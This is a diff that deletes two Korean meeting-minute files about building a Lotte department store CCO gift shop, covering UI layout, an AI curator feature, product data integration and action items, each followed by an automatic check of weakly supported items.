-- **참석자**: 클라이언트, 개발PM, 기획, UI, 넥서스개발팀(서버)
-
-## 핵심 요약
-- 시시호시 서비스의 상단 인덱스 UI 개선 및 롯데백화점 몰 앱 연동 구조 논의
-- AI 큐레이터 기능의 메뉴 통합 및 하이러라키(계층 구조) 재설계 방향 확정
-- 상품 정보 제공 방식(가격 표시, 태그 등) 및 데이터 연동 규격 검토
-- AI 큐레이터의 답변 정확도 향상을 위한 상세 페이지/매뉴얼 제공 필요성 제기
-
-## 주요 논의 / 쟁점
-**[상단 인덱스 UI 및 앱 내 이동 구조]**
-- 롯데백화점 몰 앱 사용 시 유저 이탈을 방지하기 위한 상단 UI 개선안 검토 — [00:02]
-- 네이버 쇼핑, 무신사 등 유사 서비스의 UI/UX 사례 비교 및 적용 가능성 논의 — [03:46]
-- 탭 제거 및 최상단 버튼(백화점 홈, CCO C 홈페이지 이동) 구성안에 대한 적정성 판단 — [00:58]
-
-**[AI 큐레이터 및 메뉴 구조 재설계]**
-- AI 큐레이터와 기존 기프트/키친 라이프/푸드 메뉴 간의 계층 구조 불일치 문제 — [07:02]
-- 하위 메뉴(키친 라이프, 푸드)를 상위로 올리는 안과 AI 큐방 버튼을 강조하는 안 사이의 대립 — [06:24]
-- '이머시브 스토어'라는 명칭의 직관성 부족 및 심플한 용어 변경 필요성 — [13:50]
-
-**[AI 답변 품질 및 데이터 연동]**
-- AI 큐레이터의 자유 입력 기능 추가에 따른 선물 추천 프로세스 변경 건 — [21:21]
-- 상품 리스트 제공 시 태그 및 가격 표시 방식(할인가, 퍼센트 등)의 표준화 필요성 — [23:43]
-- LLM 성능 향상을 위한 데이터 품질(상품별 상세 설명/매뉴얼) 확보 방안 — [29:32]
-
-## 결정 사항
-- AI 큐레이터 인터페이스를 상단 메뉴로 통합하고, 하단에 키친 라이프/푸드 홈을 서브 메뉴로 배치하는 방향으로 구조 재설계 — [07:02]
-- AI 큐레이터의 선물 추천 프로세스를 '버튼 클릭' 후 시작되는 방식으로 변경하여 자유 입력 기능과 병행 가능하도록 함 — [21:21]
-- 상품 정보 제공 시 단순 리스트가 아닌, 이미지와 구성품(세트 등)을 보여주는 확장된 레이아웃 적용 — [20:09]
-
-## 액션 아이템
-| 담당 | 액션 | 기한 | 상태 | 출처 |
-| --- | --- | --- | --- | --- |
-| 기획 | AI 큐레이터 용어 및 심플한 제목 제안안 작성 | — | 진행미정 | [16:05] |
-| UI | 상품 리스트의 이미지 깊이감 및 구성 요소(세트 등) 반영된 레이아웃 수정 | — | 진행미정 | [20:09] |
-| 넥서스개발팀 | 상품 정보(태그, 가격 등) 연동을 위한 데이터 규격 및 테이블 구성안 확정 | — | 기한미정 | [24:55] |
-| 기획 | 캐릭터 의상 변경(분위기별 적용)에 대한 검토 및 제안 | — | 진행미정 | [27:17] |
-| 개발PM | AI 답변 정확도 향상을 위한 상품 매뉴얼/설명 데이터 확보 전략 수립 | — | 진행미정 | [29:32] |
-
-## 오픈 이슈 / 다음 회의로
-- '이머시브 스토어' 명칭을 대체할 심플하고 직관적인 용어 선정 — [15:30]
-- CCO 홈페이지 내 이머시브 스토어 탭 추가 및 진입 경로 확보 방안 — [17:19]
-- 상품 가격 표시 방식(할인가, 퍼센트 등)에 대한 타사 사례 비교 및 최종안 확정 — [23:43]
-- AI 답변 시 줄바꿈/가독성 개선을 위한 프롬프트 지침 적용 방안 — [30:56]
-
-## 리스크
-| 리스크 | 영향 | 대응 방방 | 출처 |
-| --- | --- | --- | --- |
-| 데이터 연동 불일치 | 상품 정보(가격, 태그)가 운영 툴과 실시간 동기화되지 않을 경우 잘못된 정보 노출 가능성 있음 | 자동화된 운영 툴 또는 주기적인 업데이트 알림 프로세스 구축 필요 | [25:47] |
-
----
-## ⚠️ 검증 결과 (자동)
-검증 결과 항목별 결함 사항을 보고합니다.
-
-❗ [근거|화자번호|과확정|폐기가설|중복] "AI 큐레이터 인터페이스 상단 메뉴 통합 및 하단 서브 메뉴 배치" — **[근거 미확인]** 소스(06:24)에서는 '기프트와 AI 큐레이터를 위로 올리고 키친 라이프/푸드를 하단에 붙이는 안'을 논의하였으나, 회의록 결정 사항에는 해당 내용이 '상단 메뉴 통합' 및 '하단 서브 메뉴 배치'로 표현되어 있어 소스의 의도(메뉴 계층 구조 재설계)와 기술 방식에서 차이가 있음.
-
-❗ [근거|화자번호|과확정|폐기가설|중복] "캐릭터 의상 변경 검토" — **[근거 미확인]** 소스(27:17)에서 캐릭터 의상 변경 제안에 대해 논의한 내용은 있으나, 회의록 액션 아이템에는 '검토 및 제안'으로 되어 있음. 결정 사항이나 액션 아이템으로서의 구체적 근거가 부족함.
-
-❗ [근거|화자번호|과확정|폐기가설|중복] "AI 답변 정확도 향상을 위한 전략 수립" — **[근거 미확인]** 소스(29:32)에서 '상세 페이지/매뉴얼 제공 필요성'을 언급하며 데이터 품질 확보를 논의한 것은 확인되나, 회의록 액션 아이템의 '전략 수립'이라는 구체적 행위로 연결되는 명확한 확정 근거가 부족함.

00_Raw/회의록 y 2026-06-30.md

@@ -1,66 +0,0 @@
-# [롯데온 CCO 스토어 구축 및 기프트샵 UI/UX] · 기획 논의
-
-## 회의 개요
-- **일시**: 2026년 6월 30일 14시
-- **장소**: 5층 대회의실
-- **회의유형**: 기획 논의 및 기술 검토
-- **녹취 길이**: 68분 63초
-- **작성일**: 2026-06-30
-- **참석자**: 개발PM, 클라이언트팀장, 넥서스개발팀(서버), 기획, 사업/QA, 개발/기획
-
-## 핵심 요약
-- 롯데온 앱 내 CCO 스토어 구축을 위한 기술적 연동(API, 로그인, 상품 정보) 및 UI/UX 정책 논의
-- 기프트샵 UI 구성안(1안/2안) 검토 및 상단 탭 변경 등 사용자 경험 개선 방안 논의
-- AI 큐레이터 RAG 시스템 구현 현황 공유 및 데이터 규모·트래픽 부하량 검토 필요성 제기
-- 롯데백화점 몰 앱/웹 뷰포트 정책 준수 및 AI 큐레이터 친근한 멘트 적용 합의
-- 상세 기획서 및 스크린샷 공유를 통한 후속 기술 검토 진행 예정
-
-## 주요 논의 / 쟁점
-**[CCO 스토어 구축 및 연동 기술]**
-- 상품 정보 및 로그인 연동 방식에 대한 기술적 구현 방안 — [01:33]
-- 상품 정보 업데이트를 위한 장기적 API 연동 필요성 — [21:51]
-- 롯데온 앱 내 메타버스 매장 연동 시 상품 리스트 선정 주체 확인 — [23:35]
-
-**[기프트샵 UI/UX 및 운영]**
-- 기프트샵 화면 구성안(1안: 유저 편의형 vs 2안: 정보 위주 DP형) 비교 — [33:59]
-- 상단 탭 변경 및 최상단 바 유지 등 이탈 방지를 위한 디자인 안 검토 — [37:45]
-- 콘텐츠 바디 내 '백화점 바로 가기' 버튼 포함 여부(사용성 저해 우려) — [37:59]
-- AI 큐레이터 질문지(4가지)의 유지 또는 변경 필요성 — [39:52]
-- 상품 전달 시 필수 정보(상품명, 설명, 카테고리, 태그, URL, 이미지 등) 범위 — [42:54]
-
-**[AI 큐레이터 및 시스템 구현]**
-- RAG 시스템 기반 AI 큐레이터의 모델 버전 및 답변 정확도 확인 — [1:02:51]
-- API 호출 시 트래픽 감소를 위한 캐싱(Caching) 도입 검토 — [1:07:06]
-- 캐시 적용 시 실시간 가격 변경 피드백 간격에 대한 고려 — [1:07:55]
-
-## 결정 사항
-- 롯데백화점 몰 앱 및 웹 뷰포트 정책을 기존 정책과 동일하게 유지하기로 함 — [28:09]
-- AI 큐레이터 질문 시 사용자의 연령대나 상황에 맞춰 친근한 멘트를 추가하는 방향으로 진행 — [47:05]
-
-## 액션 아이템
-| 담당 | 액션 | 기한 | 상태 | 출처 |
-| --- | --- | --- | --- | --- |
-| 개발PM/기획 | 상세 기획서 내용을 핵심 요소 위주로 정리하여 전달 — [27:18] | 오늘 중 | 확정 | [27:18] |
-| 클라이언트팀장 | 미팅 종료 후 스크린샷 등을 활용해 공유 — [05:14] | 오늘 중 | 진행미정 | [05:14] |
-| 개발PM/기획 | 상세 기획서 스크린샷 전달 — [54:29] | 오늘 중 | 확정 | [54:29] |
-| 기획/개발팀 | CCO와 협의하여 상품 광고 및 텍스트 입력 방식 결정 — [45:44] | 이번 주 중 | 진행미정 | [45:44] |
-| 클라이언트팀장 | 롯데온 API 제공 가능 여부 및 상품 정보 연동 범위 확인 — [51:35] | — | 진행미정 | [51:35] |
-| 개발팀 | 확인된 모델 버전 및 동접자 시뮬레이션 결과 공유 — [1:05:01] | 작업자 복귀 후 | 진행미정 | [1:05:01]
-| 개발PM/기획 | API 연동을 위한 상품 수 및 호출 규모 파악을 위해 백화점 측과 협의 — [1:05:22] | — | 진행미정 | [1:05:22] |
-
-## 오픈 이슈 / 다음 회의로
-- 상품 정보 연동 시 실시간 데이터 수신 여부 및 API 호출 불확실성 문제 — [01:33]
-- 모바일 접속 시 뒤로 가기 경로가 절대 경로로 설정되어 있을 가능성 — [06:01]
-- AI 큐레이터 모델 버전(Gemini 3.5 Flash 추정) 정확한 확인 필요 — [1:02:59]
-- 백화점 측의 최종 확정 상품 수 및 스코어 수치 미확정 상태 — [1:04:27]
-
-## 리스크
-| 리스크 | 영향 | 대응 방안 | 출처 |
-| --- | --- | --- | --- |
-| 상품 정보 연동 시 API 호출 및 실시간 데이터 수신 불확실성 | 데이터 동기화 오류 가능성 | — | [01:33] |
-| MVP 디자인 기준, 상단 영역에서 타 화면으로 유저 이탈 가능성 | 서비스 체류 시간 감소 및 전환율 저하 | — | [36:41] |
-| 특정 OS 버전 또는 낮은 사양 기기에서의 웹GL 기술 작동 이슈 | 서비스 이용 불가능 사용자 발생 | — | [57:07] |
-
----
-## ⚠️ 검증 결과 (자동)
-❗ [근거|화자번호|과확정|폐기가설|중복] "액션 아이템 중 '상세 기획서' 관련 항목" — '상세 기획서 내용을 정리하여 전달'하는 건과 '상세 기획서 스크린샷을 전달'하는 건은 실질적으로 동일한 작업이 중복된 것으로 보임.